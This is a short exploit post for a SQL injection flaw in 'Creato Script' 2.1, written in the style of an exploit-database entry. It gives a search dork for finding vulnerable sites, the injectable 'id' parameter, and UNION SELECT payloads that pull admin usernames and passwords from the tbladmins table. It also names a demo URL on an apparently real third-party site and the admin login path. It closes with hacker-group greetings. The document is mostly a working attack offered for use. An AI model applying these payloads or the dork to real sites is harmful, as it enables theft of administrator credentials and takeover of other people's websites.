# Title: Creato Script SQL Injection Vulnerability # Version: 2.1 # Author: Mr.P3rfekT # Software Site: http://www.creato.biz # Tested on Lunix # CVE : N/A ############### Founded By Mr.P3rfekT ############### # Dork : " created by creato.biz " # Helllo Allz. # Exploit : http://site.com/mainpage.php?id={SQLi} # Poc Username: union select 1,adminusername,3,4,5,6,7,8,9,10,11,12 from tbladmins-- # Poc Password: # union select 1,adminpassword,3,4,5,6,7,8,9,10,11,12 from tbladmins-- # Demo: http://www.correcta.bg/mainpage.php?id=-6 union select 1,adminpassword,3,4,5,6,7,8,9,10,11,12 from tbladmins-- # Admin Login # http://www.site.com/admun/login.php # ./done. #################################################################### MaiL :R4p@hotmail.com Greeetz To : Sinaritx,HcJ,Mr.Black,D3ViL H4CK3R,Uzm4n,Nani17,Cyb3r-DeViL,www.v4-team.com,www.arab-exploit.com Cr3w,www.Barcelonasy.com & All Who Known Me ############################################### _________________________________________________________________ Hotmail: بريد إلكتروني موثوق فيه ويتمتع بحماية Microsoft القوية من البريد العشوائي. https://signup.live.com/signup.aspx?id=60969